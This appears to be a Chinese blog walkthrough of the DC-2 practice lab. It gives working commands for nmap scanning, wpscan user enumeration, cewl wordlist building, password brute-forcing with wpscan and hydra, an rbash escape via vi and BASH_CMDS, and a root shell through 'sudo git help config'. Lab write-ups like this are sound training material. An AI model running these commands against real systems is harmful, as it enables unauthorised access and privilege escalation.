【DC系列】DC-2靶场

首先下载DC2的镜像资源:

Index of /downloadshttps://www.five86.com/downloads/

下载完成后进行解压,找到解压的文件夹,鼠标右击DC-2镜像->打开方式->选择虚拟机。

输入虚拟机名称和选择虚拟机的存储路径后点击导入,如果出现报错信息点击重试即可。

导入成功后,鼠标右击DC-2虚拟机->设置->网络适配器->nat模式->确定:(虚拟机kali最好也选择nat模式,保证双方在同一网段上),如下图所示:

然后点击开启虚拟机,如果出现报错,点击否即可,出现如下画面则表示启动成功:

 到这里环境就搭建完成了,下面进行渗透测试

1.查看DC-2靶机的MAC地址:鼠标右击DC-2虚拟机->设置->网络适配器->高级。

 2.得知MAC地址后,启动kali,在命令行下输入:

nmap -sn 192.168.17.0/24      //-sn或者-sP都表示主机发现(不进行端口扫描)

 3.ip地址知道后,进行端口扫描+全面扫描

nmap -A -p- 192.168.17.167

(-A:使用高级功能进行扫描,即全面扫描;-p-:扫描端口号1-65535,与-p 1-65535相同意思)

可以看到80,7744端口开放,分别运行http,ssh服务。注意到http标题显示没有跟随重定向到http://dc-2/

浏览器访问192.168.17.167,网址跳转到http://dc-2/,并且出现信息:无法连接至 dc-2 的服务器。

4.修改hosts文件

可以通过在/etc/hosts(linux系统)或C:\Windows\System32\drivers\etc\hosts(Windows系统)文件添加一条映射关系解决:(前提是使用管理员权限打开hosts文件)

vim /etc/hosts 

192.168.17.167 dc-2

添加成功后再次访问192.168.17.167,成功访问,通过火狐浏览器中的Wappalyzer插件得知该网站的CMS为WordPress,看到WordPress就想到了wpscan(是一个扫描WordPress漏洞的黑盒子扫描器)

点击Flag:

 提示需要使用cewl工具,使用一个身份登录网站查看另一个flag(如果没找到,使用另外一个身份登录)。

 既然要登录,那就涉及到登录页面。

5.扫描网站目录

使用dirsearch工具或者dirb工具都可扫描网站目录:

dirsearch -u http://dc-2  

发现一个疑似登录页面的url:http://dc-2/wp-admin/

浏览器访问http://dc-2/wp-admin/,果真是登录页面。

找到登录页面后,得想办法登录进去,先用工具cewl生成一个密码字典:

cewl http://dc-2/ -w pwd.dic
然后使用工具wpscan扫描用户用以生成一个用户名字典:

wpscan --url http://dc-2/ --enumerate u   //枚举用户

扫描出三个用户:admin,jerry,tom;然后将它们存放在一个user.dic字典中:

 

有了用户名字典和密码字典就能进行爆破了。

6.口令爆破

使用工具wpscan进行爆破:

wpscan --url http://dc-2/ -U user.dic -P pwd.dic 

 成功爆破出jerry和tom的密码:

使用jerry用户登录成功后->点击7 Pages->点击Flag 2;(使用tom用户登录成功但无法访问7 Pages里面的Flag 2。)

 提示如果不能利用WordPress,可以寻找另一个切入点。

回想在扫描端口的时候,端口7744开启了ssh服务,使用工具hydra进行爆破,

hydra -L user.dic -P pwd.dic -vV ssh://192.168.17.167:7744(用户名字典和密码字典上面有提到)
-L:指定一个用户名字典

-P:指定一个密码字典

-vV:显示爆破细节

注意:开启ssh服务的端口不是22而是7744,所以需要在ip地址后加上端口号7744。

成功爆破出tom用户的密码: 

7.ssh连接

然后进行ssh连接:
ssh tom@192.168.17.167 -p 7744
-p:指定端口

连接成功后,发现存在flag3.txt,由于受限制shell(rbash)的原因,命令type,cat,more,vim都无法查看flag3.txt,less和vi命令可查看。

提示可能需要使用su命令切换到jerry用户。

但su命令无法执行,所以得绕过rbash。

8.绕过rbash

以下提供两种方法:

1.使用vi编辑进行绕过

(1)vi 文件名   //文件名自取

(2)输入:set shell=/bin/sh,然后回车

(3)输入:shell

(4)设置环境变量:export PATH=/usr/sbin:/usr/bin:/sbin:/bin

2.环境变量绕过

BASH_CMDS[a]=/bin/sh;a    //把/bin/bash给变量a

$ export PATH=$PATH:/bin/   //将/bin作为PATH环境变量导出

$ export PATH=$PATH:/usr/bin  //将usr/bin作为PATH环境变量导出

$ echo /*

 成功绕过后使用su命令切换到jerry用户(密码为工具wpscan爆破出来的密码),然后转到jerry目录下,发现flag4.txt:

查看flag4.txt:提示需要git提权。

9.git提权

sudo -l   //查询可用sudo命令

sudo git help config   //强制进入交互状态

!/bin/bash   //打开一个root权限下的shell

10.查看最终flag

cd /root

cat final-flag.txt

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值